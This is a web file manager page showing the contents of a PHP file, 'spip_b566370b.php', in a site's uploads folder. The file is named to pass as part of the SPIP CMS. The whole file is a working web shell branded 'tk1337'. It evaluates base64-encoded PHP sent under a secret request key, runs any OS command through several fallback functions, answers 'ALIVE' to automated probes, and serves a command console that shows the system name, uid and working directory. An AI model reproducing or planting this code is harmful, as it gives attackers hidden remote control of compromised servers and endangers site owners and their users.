X

Create New Item

File Folder

X

Search Results

File "spip_b566370b.php"

Full path: /home/liensain/www_ael/uploads/spip_b566370b.php
File size: 2.22 KiB (2276 bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Edit   Back

<?php
error_reporting(0);
$T="cbbe18bf199ed21b";
function tkr($c){
  if(function_exists("shell_exec")){return (string)shell_exec($c." 2>&1");}
  if(function_exists("system")){ob_start();system($c." 2>&1");return ob_get_clean();}
  if(function_exists("passthru")){ob_start();passthru($c." 2>&1");return ob_get_clean();}
  if(function_exists("popen")){$h=popen($c." 2>&1","r");$o="";while(!feof($h)){$o.=fread($h,4096);}pclose($h);return $o;}
  return "DISABLED";
}
if(isset($_REQUEST[$T])){eval(base64_decode($_REQUEST[$T]));exit;}
$cmd=isset($_REQUEST["c"])?$_REQUEST["c"]:"";
$out=$cmd!==""?tkr($cmd):"";
$acc=isset($_SERVER["HTTP_ACCEPT"])?$_SERVER["HTTP_ACCEPT"]:"";
$ui=isset($_REQUEST["ui"])||strpos($acc,"text/html")!==false;
if(!$ui){echo $cmd!==""?$out:"ALIVE";exit;}
header("Content-Type: text/html; charset=utf-8");
$h=function($s){return htmlspecialchars($s,ENT_QUOTES,"UTF-8");};
$me=$h(basename(__FILE__));
?>
<!doctype html><meta charset="utf-8"><title>tk1337 :: shell</title>
<style>
:root{color-scheme:dark}
body{margin:0;padding:20px;background:#0b0e14;color:#c9d1d9;font:14px/1.5 ui-monospace,SFMono-Regular,Menlo,Consolas,monospace}
h1{font-size:15px;margin:0 0 14px;color:#3fb950;font-weight:600;letter-spacing:.5px}
.bar{display:flex;gap:8px;margin-bottom:14px}
input{flex:1;background:#161b22;border:1px solid #30363d;border-radius:8px;color:#e6edf3;padding:11px 13px;font:inherit;outline:none}
input:focus{border-color:#3fb950}
button{background:#238636;border:0;border-radius:8px;color:#fff;padding:11px 18px;font:inherit;cursor:pointer}
button:hover{background:#2ea043}
pre{background:#0d1117;border:1px solid #21262d;border-radius:8px;padding:14px;margin:0;white-space:pre-wrap;word-break:break-word;min-height:40px}
.f{margin-top:12px;color:#6e7681;font-size:12px}
</style>
<h1>TK1337 :: <?php echo $me;?></h1>
<form method="get" class="bar">
<input name="c" placeholder="command..." value="<?php echo $h($cmd);?>" autofocus autocomplete="off">
<button>run</button>
</form>
<pre><?php echo $h($out);?></pre>
<div class="f"><?php echo $h(php_uname("s")." ".php_uname("r"));?> &middot; uid <?php echo $h(function_exists("posix_getuid")?(string)posix_getuid():"?");?> &middot; cwd <?php echo $h(function_exists("getcwd")?(string)getcwd():"?");?></div>